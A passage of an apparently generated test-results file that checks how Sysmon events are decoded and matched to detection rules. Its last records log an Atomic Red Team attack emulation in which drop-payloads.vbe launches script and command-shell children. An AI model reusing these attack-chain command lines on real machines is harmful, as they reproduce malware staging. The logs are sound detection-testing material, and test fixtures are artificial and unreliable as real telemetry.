"win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "61650", "rule_matches_expected": false, "ini_file": "sysmon.ini", "section": "Sysmon EventID 22"} +{"log": "{\"win\":{\"eventdata\":{\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\poqexec.exe\",\"archived\":\"true\",\"processGuid\":\"{4dc16835-e584-612f-baba-cc0000000000}\",\"processId\":\"1960\",\"utcTime\":\"2021-09-01 20:41:48.604\",\"targetFilename\":\"C:\\\\\\\\Windows\\\\\\\\SysWOW64\\\\\\\\WsmRes.dll\",\"hashes\":\"SHA1=7B494AB968B305F969F7F86630FBB06CFDED6C76,MD5=0A09CEDE529A4A71A37D4BB8F40EF55C,SHA256=99B69B8C2D5020F2F8BFF7951CD79F01CD97294F84053D5EB42B3A7C66CBA347,IMPHASH=00000000000000000000000000000000\",\"isExecutable\":\"true\",\"user\":\"NT AUTHORITY\\\\\\\\SYSTEM\"},\"system\":{\"eventID\":\"23\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"File Delete archived:\\r\\nRuleName: -\\r\\nUtcTime: 2021-09-01 20:41:48.604\\r\\nProcessGuid: {4dc16835-e584-612f-baba-cc0000000000}\\r\\nProcessId: 1960\\r\\nUser: NT AUTHORITY\\\\SYSTEM\\r\\nImage: C:\\\\Windows\\\\System32\\\\poqexec.exe\\r\\nTargetFilename: C:\\\\Windows\\\\SysWOW64\\\\WsmRes.dll\\r\\nHashes: SHA1=7B494AB968B305F969F7F86630FBB06CFDED6C76,MD5=0A09CEDE529A4A71A37D4BB8F40EF55C,SHA256=99B69B8C2D5020F2F8BFF7951CD79F01CD97294F84053D5EB42B3A7C66CBA347,IMPHASH=00000000000000000000000000000000\\r\\nIsExecutable: true\\r\\nArchived: true\\\"\",\"version\":\"5\",\"systemTime\":\"2021-09-01T20:41:48.6048977Z\",\"eventRecordID\":\"183596\",\"threadID\":\"3140\",\"computer\":\"cfo.ExchangeTest.com\",\"task\":\"23\",\"processID\":\"2400\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.archived": "true", "win.eventdata.hashes": "SHA1=7B494AB968B305F969F7F86630FBB06CFDED6C76,MD5=0A09CEDE529A4A71A37D4BB8F40EF55C,SHA256=99B69B8C2D5020F2F8BFF7951CD79F01CD97294F84053D5EB42B3A7C66CBA347,IMPHASH=00000000000000000000000000000000", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\poqexec.exe", "win.eventdata.isExecutable": "true", "win.eventdata.processGuid": "{4dc16835-e584-612f-baba-cc0000000000}", "win.eventdata.processId": "1960", "win.eventdata.targetFilename": "C:\\\\Windows\\\\SysWOW64\\\\WsmRes.dll", "win.eventdata.user": "NT AUTHORITY\\\\SYSTEM", "win.eventdata.utcTime": "2021-09-01 20:41:48.604", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "cfo.ExchangeTest.com", "win.system.eventID": "23", "win.system.eventRecordID": "183596", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2400", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-09-01T20:41:48.6048977Z", "win.system.task": "23", "win.system.threadID": "3140", "win.system.version": "5"}, "field_names": ["win.eventdata.archived", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.isExecutable", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.targetFilename", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "61651", "rule_matches_expected": false, "ini_file": "sysmon.ini", "section": "Sysmon EventID 23"} +{"log": "{\"win\":{\"eventdata\":{\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wbem\\\\\\\\WMIADAP.exe\",\"processGuid\":\"{4dc16835-ddfd-6116-5a0b-1d0000000000}\",\"processId\":\"352\",\"utcTime\":\"2021-08-13 21:02:53.207\",\"type\":\"Image is locked for access\"},\"system\":{\"eventID\":\"25\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Tampering:\\r\\nRuleName: -\\r\\nUtcTime: 2021-08-13 21:02:53.207\\r\\nProcessGuid: {4dc16835-ddfd-6116-5a0b-1d0000000000}\\r\\nProcessId: 352\\r\\nImage: C:\\\\Windows\\\\System32\\\\wbem\\\\WMIADAP.exe\\r\\nType: Image is locked for access\\\"\",\"version\":\"5\",\"systemTime\":\"2021-08-13T21:02:53.2085459Z\",\"eventRecordID\":\"343354\",\"threadID\":\"4260\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"25\",\"processID\":\"2668\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.image": "C:\\\\Windows\\\\System32\\\\wbem\\\\WMIADAP.exe", "win.eventdata.processGuid": "{4dc16835-ddfd-6116-5a0b-1d0000000000}", "win.eventdata.processId": "352", "win.eventdata.type": "Image is locked for access", "win.eventdata.utcTime": "2021-08-13 21:02:53.207", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "25", "win.system.eventRecordID": "343354", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2668", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-08-13T21:02:53.2085459Z", "win.system.task": "25", "win.system.threadID": "4260", "win.system.version": "5"}, "field_names": ["win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.type", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "61653", "rule_matches_expected": false, "ini_file": "sysmon.ini", "section": "Sysmon EventID 25"} +{"log": "{\"win\":{\"system\":{\"providerName\":\"Microsoft-Windows-Sysmon\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"eventID\":\"255\",\"version\":\"5\",\"level\":\"4\",\"task\":\"22\",\"opcode\":\"0\",\"keywords\":\"0x8000000000000000\",\"systemTime\":\"2022-10-14T10:19:22.7373425Z\",\"eventRecordID\":\"271\",\"processID\":\"2624\",\"threadID\":\"3544\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"computer\":\"EC2AMAZ-N9OLJ1L\",\"severityValue\":\"INFORMATION\",\"message\":\"\\\"Dns query:\\r\\nRuleName: -\\r\\nUtcTime: 2022-10-14 10:19:19.391\\r\\nProcessGuid: {3bd4f97a-3636-6349-6500-000000009800}\\r\\nProcessId: 2820\\r\\nQueryName: ssm.us-east-1.amazonaws.com\\r\\nQueryStatus: 0\\r\\nQueryResults: ::ffff:52.119.198.91;\\r\\nImage: C:\\\\Program Files\\\\Amazon\\\\SSM\\\\ssm-agent-worker.exe\\r\\nUser: NT AUTHORITY\\\\SYSTEM\\\"\"},\"eventdata\":{\"utcTime\":\"2022-10-14 10:19:19.391\",\"processGuid\":\"{3bd4f97a-3636-6349-6500-000000009800}\",\"processId\":\"2820\",\"queryName\":\"ssm.us-east-1.amazonaws.com\",\"queryStatus\":\"0\",\"queryResults\":\"::ffff:52.119.198.91;\",\"image\":\"C:\\\\\\\\Program Files\\\\\\\\Amazon\\\\\\\\SSM\\\\\\\\ssm-agent-worker.exe\",\"user\":\"NT AUTHORITY\\\\\\\\SYSTEM\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.image": "C:\\\\Program Files\\\\Amazon\\\\SSM\\\\ssm-agent-worker.exe", "win.eventdata.processGuid": "{3bd4f97a-3636-6349-6500-000000009800}", "win.eventdata.processId": "2820", "win.eventdata.queryName": "ssm.us-east-1.amazonaws.com", "win.eventdata.queryResults": "::ffff:52.119.198.91;", "win.eventdata.queryStatus": "0", "win.eventdata.user": "NT AUTHORITY\\\\SYSTEM", "win.eventdata.utcTime": "2022-10-14 10:19:19.391", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "EC2AMAZ-N9OLJ1L", "win.system.eventID": "255", "win.system.eventRecordID": "271", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2624", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2022-10-14T10:19:22.7373425Z", "win.system.task": "22", "win.system.threadID": "3544", "win.system.version": "5"}, "field_names": ["win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.queryName", "win.eventdata.queryResults", "win.eventdata.queryStatus", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "61655", "rule_matches_expected": false, "ini_file": "sysmon.ini", "section": "Sysmon EventID 255"} +{"log": "{\"win\":{\"system\":{\"providerName\":\"Microsoft-Windows-Sysmon\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"eventID\":\"1\",\"version\":\"5\",\"level\":\"4\",\"task\":\"1\",\"opcode\":\"0\",\"keywords\":\"0x8000000000000000\",\"systemTime\":\"2021-04-28T20:11:55.3643213Z\",\"eventRecordID\":\"144504\",\"processID\":\"2204\",\"threadID\":\"3300\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"computer\":\"DESKTOP-2QKFOBA\",\"severityValue\":\"INFORMATION\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1202,technique_name=Indirect Command Execution\\r\\nUtcTime: 2021-04-28 20:11:55.352\\r\\nProcessGuid: {4dc16835-c18b-6089-a203-000000002e00}\\r\\nProcessId: 648\\r\\nImage: C:\\\\Windows\\\\System32\\\\wscript.exe\\r\\nFileVersion: 5.812.10240.16384\\r\\nDescription: Microsoft ® Windows Based Script Host\\r\\nProduct: Microsoft ® Windows Script Host\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: wscript.exe\\r\\nCommandLine: \\\"C:\\\\Windows\\\\System32\\\\WScript.exe\\\" \\\"C:\\\\Users\\\\AtomicRedTeamTest\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\starter.vbs\\\" \\r\\nCurrentDirectory: C:\\\\Users\\\\AtomicRedTeamTest\\\\Downloads\\\\\\r\\nUser: DESKTOP-2QKFOBA\\\\AtomicRedTeamTest\\r\\nLogonGuid: {4dc16835-596f-6089-d6a0-040000000000}\\r\\nLogonId: 0x4A0D6\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: High\\r\\nHashes: SHA1=545EC11DEE642DE633EB2C6F6FFC90CCE4DECF8D,MD5=0639B0A6F69B3265C1E42227D650B7D1,SHA256=CE9F70E104C07D92FC05FBD6000839FD6A87FF010E706396F87DD679244ED97B,IMPHASH=0F71D5F6F4CBB935CE1B09754102419C\\r\\nParentProcessGuid: {4dc16835-c189-6089-a003-000000002e00}\\r\\nParentProcessId: 6876\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\cscript.exe\\r\\nParentCommandLine: \\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" .\\\\drop-payloads.vbe\\\"\"},\"eventdata\":{\"ruleName\":\"technique_id=T1202,technique_name=Indirect Command Execution\",\"utcTime\":\"2021-04-28 20:11:55.352\",\"processGuid\":\"{4dc16835-c18b-6089-a203-000000002e00}\",\"processId\":\"648\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe\",\"fileVersion\":\"5.812.10240.16384\",\"description\":\"Microsoft ® Windows Based Script Host\",\"product\":\"Microsoft ® Windows Script Host\",\"company\":\"Microsoft Corporation\",\"originalFileName\":\"notepàd.exe\",\"commandLine\":\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\notepad.exe\\\\\\\"\",\"currentDirectory\":\"C:\\\\\\\\Users\\\\\\\\AtomicRedTeamTest\\\\\\\\Downloads\\\\\\\\\",\"user\":\"DESKTOP-2QKFOBA\\\\\\\\AtomicRedTeamTest\",\"logonGuid\":\"{4dc16835-596f-6089-d6a0-040000000000}\",\"logonId\":\"0x4a0d6\",\"terminalSessionId\":\"1\",\"integrityLevel\":\"High\",\"hashes\":\"SHA1=545EC11DEE642DE633EB2C6F6FFC90CCE4DECF8D,MD5=0639B0A6F69B3265C1E42227D650B7D1,SHA256=CE9F70E104C07D92FC05FBD6000839FD6A87FF010E706396F87DD679244ED97B,IMPHASH=0F71D5F6F4CBB935CE1B09754102419C\",\"parentProcessGuid\":\"{4dc16835-c189-6089-a003-000000002e00}\",\"parentProcessId\":\"6876\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cscript.exe\",\"parentCommandLine\":\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\cscript.exe\\\\\\\" .\\\\\\\\drop-payloads.vbe\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "\\\"C:\\\\Windows\\\\System32\\\\notepad.exe\\\"", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Users\\\\AtomicRedTeamTest\\\\Downloads\\\\", "win.eventdata.description": "Microsoft ® Windows Based Script Host", "win.eventdata.fileVersion": "5.812.10240.16384", "win.eventdata.hashes": "SHA1=545EC11DEE642DE633EB2C6F6FFC90CCE4DECF8D,MD5=0639B0A6F69B3265C1E42227D650B7D1,SHA256=CE9F70E104C07D92FC05FBD6000839FD6A87FF010E706396F87DD679244ED97B,IMPHASH=0F71D5F6F4CBB935CE1B09754102419C", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\wscript.exe", "win.eventdata.integrityLevel": "High", "win.eventdata.logonGuid": "{4dc16835-596f-6089-d6a0-040000000000}", "win.eventdata.logonId": "0x4a0d6", "win.eventdata.originalFileName": "notepàd.exe", "win.eventdata.parentCommandLine": "\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" .\\\\drop-payloads.vbe", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\cscript.exe", "win.eventdata.parentProcessGuid": "{4dc16835-c189-6089-a003-000000002e00}", "win.eventdata.parentProcessId": "6876", "win.eventdata.processGuid": "{4dc16835-c18b-6089-a203-000000002e00}", "win.eventdata.processId": "648", "win.eventdata.product": "Microsoft ® Windows Script Host", "win.eventdata.ruleName": "technique_id=T1202,technique_name=Indirect Command Execution", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "DESKTOP-2QKFOBA\\\\AtomicRedTeamTest", "win.eventdata.utcTime": "2021-04-28 20:11:55.352", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "DESKTOP-2QKFOBA", "win.system.eventID": "1", "win.system.eventRecordID": "144504", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2204", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-04-28T20:11:55.3643213Z", "win.system.task": "1", "win.system.threadID": "3300", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92000", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Scripting interpreter spawned a new process"} +{"log": "{\"win\":{\"system\":{\"providerName\":\"Microsoft-Windows-Sysmon\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"eventID\":\"1\",\"version\":\"5\",\"level\":\"4\",\"task\":\"1\",\"opcode\":\"0\",\"keywords\":\"0x8000000000000000\",\"systemTime\":\"2021-04-28T20:11:55.3643213Z\",\"eventRecordID\":\"144504\",\"processID\":\"2204\",\"threadID\":\"3300\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"computer\":\"DESKTOP-2QKFOBA\",\"severityValue\":\"INFORMATION\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1202,technique_name=Indirect Command Execution\\r\\nUtcTime: 2021-04-28 20:11:55.352\\r\\nProcessGuid: {4dc16835-c18b-6089-a203-000000002e00}\\r\\nProcessId: 648\\r\\nImage: C:\\\\Windows\\\\System32\\\\wscript.exe\\r\\nFileVersion: 5.812.10240.16384\\r\\nDescription: Microsoft ® Windows Based Script Host\\r\\nProduct: Microsoft ® Windows Script Host\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: wscript.exe\\r\\nCommandLine: \\\"C:\\\\Windows\\\\System32\\\\WScript.exe\\\" \\\"C:\\\\Users\\\\AtomicRedTeamTest\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\starter.vbs\\\" \\r\\nCurrentDirectory: C:\\\\Users\\\\AtomicRedTeamTest\\\\Downloads\\\\\\r\\nUser: DESKTOP-2QKFOBA\\\\AtomicRedTeamTest\\r\\nLogonGuid: {4dc16835-596f-6089-d6a0-040000000000}\\r\\nLogonId: 0x4A0D6\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: High\\r\\nHashes: SHA1=545EC11DEE642DE633EB2C6F6FFC90CCE4DECF8D,MD5=0639B0A6F69B3265C1E42227D650B7D1,SHA256=CE9F70E104C07D92FC05FBD6000839FD6A87FF010E706396F87DD679244ED97B,IMPHASH=0F71D5F6F4CBB935CE1B09754102419C\\r\\nParentProcessGuid: {4dc16835-c189-6089-a003-000000002e00}\\r\\nParentProcessId: 6876\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\cscript.exe\\r\\nParentCommandLine: \\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" .\\\\drop-payloads.vbe\\\"\"},\"eventdata\":{\"ruleName\":\"technique_id=T1202,technique_name=Indirect Command Execution\",\"utcTime\":\"2021-04-28 20:11:55.352\",\"processGuid\":\"{4dc16835-c18b-6089-a203-000000002e00}\",\"processId\":\"648\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe\",\"fileVersion\":\"5.812.10240.16384\",\"description\":\"Microsoft ® Windows Based Script Host\",\"product\":\"Microsoft ® Windows Script Host\",\"company\":\"Microsoft Corporation\",\"originalFileName\":\"wscript.exe\",\"commandLine\":\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WScript.exe\\\\\\\" \\\\\\\"C:\\\\\\\\Users\\\\\\\\AtomicRedTeamTest\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\TransbaseOdbcDriver\\\\\\\\starter.vbs\\\\\\\"\",\"currentDirectory\":\"C:\\\\\\\\Users\\\\\\\\AtomicRedTeamTest\\\\\\\\Downloads\\\\\\\\\",\"user\":\"DESKTOP-2QKFOBA\\\\\\\\AtomicRedTeamTest\",\"logonGuid\":\"{4dc16835-596f-6089-d6a0-040000000000}\",\"logonId\":\"0x4a0d6\",\"terminalSessionId\":\"1\",\"integrityLevel\":\"High\",\"hashes\":\"SHA1=545EC11DEE642DE633EB2C6F6FFC90CCE4DECF8D,MD5=0639B0A6F69B3265C1E42227D650B7D1,SHA256=CE9F70E104C07D92FC05FBD6000839FD6A87FF010E706396F87DD679244ED97B,IMPHASH=0F71D5F6F4CBB935CE1B09754102419C\",\"parentProcessGuid\":\"{4dc16835-c189-6089-a003-000000002e00}\",\"parentProcessId\":\"6876\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cscript.exe\",\"parentCommandLine\":\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\cscript.exe\\\\\\\" .\\\\\\\\drop-payloads.vbe\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "\\\"C:\\\\Windows\\\\System32\\\\WScript.exe\\\" \\\"C:\\\\Users\\\\AtomicRedTeamTest\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\starter.vbs\\\"", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Users\\\\AtomicRedTeamTest\\\\Downloads\\\\", "win.eventdata.description": "Microsoft ® Windows Based Script Host", "win.eventdata.fileVersion": "5.812.10240.16384", "win.eventdata.hashes": "SHA1=545EC11DEE642DE633EB2C6F6FFC90CCE4DECF8D,MD5=0639B0A6F69B3265C1E42227D650B7D1,SHA256=CE9F70E104C07D92FC05FBD6000839FD6A87FF010E706396F87DD679244ED97B,IMPHASH=0F71D5F6F4CBB935CE1B09754102419C", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\wscript.exe", "win.eventdata.integrityLevel": "High", "win.eventdata.logonGuid": "{4dc16835-596f-6089-d6a0-040000000000}", "win.eventdata.logonId": "0x4a0d6", "win.eventdata.originalFileName": "wscript.exe", "win.eventdata.parentCommandLine": "\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" .\\\\drop-payloads.vbe", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\cscript.exe", "win.eventdata.parentProcessGuid": "{4dc16835-c189-6089-a003-000000002e00}", "win.eventdata.parentProcessId": "6876", "win.eventdata.processGuid": "{4dc16835-c18b-6089-a203-000000002e00}", "win.eventdata.processId": "648", "win.eventdata.product": "Microsoft ® Windows Script Host", "win.eventdata.ruleName": "technique_id=T1202,technique_name=Indirect Command Execution", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "DESKTOP-2QKFOBA\\\\AtomicRedTeamTest", "win.eventdata.utcTime": "2021-04-28 20:11:55.352", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "DESKTOP-2QKFOBA", "win.system.eventID": "1", "win.system.eventRecordID": "144504", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2204", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-04-28T20:11:55.3643213Z", "win.system.task": "1", "win.system.threadID": "3300", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92001", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Scripting interpreter spawned new scripting interpreter"} +{"log": "{\"win\":{\"system\":{\"providerName\":\"Microsoft-Windows-Sysmon\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"eventID\":\"1\",\"version\":\"5\",\"level\":\"4\",\"task\":\"1\",\"opcode\":\"0\",\"keywords\":\"0x8000000000000000\",\"systemTime\":\"2021-04-28T20:11:55.5366909Z\",\"eventRecordID\":\"144512\",\"processID\":\"2204\",\"threadID\":\"3300\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"computer\":\"DESKTOP-2QKFOBA\",\"severityValue\":\"INFORMATION\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1059.003,technique_name=Windows Command Shell\\r\\nUtcTime: 2021-04-28 20:11:55.529\\r\\nProcessGuid: {4dc16835-c18b-6089-a303-000000002e00}\\r\\nProcessId: 5256\\r\\nImage: C:\\\\Windows\\\\System32\\\\cmd.exe\\r\\nFileVersion: 10.0.19041.746 (WinBuild.160101.0800)\\r\\nDescription: Windows Command Processor\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: Cmd.Exe\\r\\nCommandLine: \\\"C:\\\\Windows\\\\System32\\\\cmd.exe\\\" /k wscript.exe \\\"C:\\\\Users\\\\AtomicRedTeamTest\\\\AppData\\\\Roaming\\\\\\\\TransBaseOdbcDriver\\\\\\\\TransBaseOdbcDriver.js\\\"\\r\\nCurrentDirectory: C:\\\\Users\\\\AtomicRedTeamTest\\\\Downloads\\\\\\r\\nUser: DESKTOP-2QKFOBA\\\\AtomicRedTeamTest\\r\\nLogonGuid: {4dc16835-596f-6089-d6a0-040000000000}\\r\\nLogonId: 0x4A0D6\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: High\\r\\nHashes: SHA1=F1EFB0FDDC156E4C61C5F78A54700E4E7984D55D,MD5=8A2122E8162DBEF04694B9C3E0B6CDEE,SHA256=B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450,IMPHASH=272245E2988E1E430500B852C4FB5E18\\r\\nParentProcessGuid: {4dc16835-c18b-6089-a203-000000002e00}\\r\\nParentProcessId: 648\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\wscript.exe\\r\\nParentCommandLine: \\\"C:\\\\Windows\\\\System32\\\\WScript.exe\\\" \\\"C:\\\\Users\\\\AtomicRedTeamTest\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\starter.vbs\\\" \\\"\"},\"eventdata\":{\"ruleName\":\"technique_id=T1059.003,technique_name=Windows Command Shell\",\"utcTime\":\"2021-04-28 20:11:55.529\",\"processGuid\":\"{4dc16835-c18b-6089-a303-000000002e00}\",\"processId\":\"5256\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\",\"fileVersion\":\"10.0.19041.746 (WinBuild.160101.0800)\",\"description\":\"Windows Command Processor\",\"product\":\"Microsoft® Windows® Operating System\",\"company\":\"Microsoft Corporation\",\"originalFileName\":\"Cmd.Exe\",\"commandLine\":\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\\\\\\\" /k wscript.exe 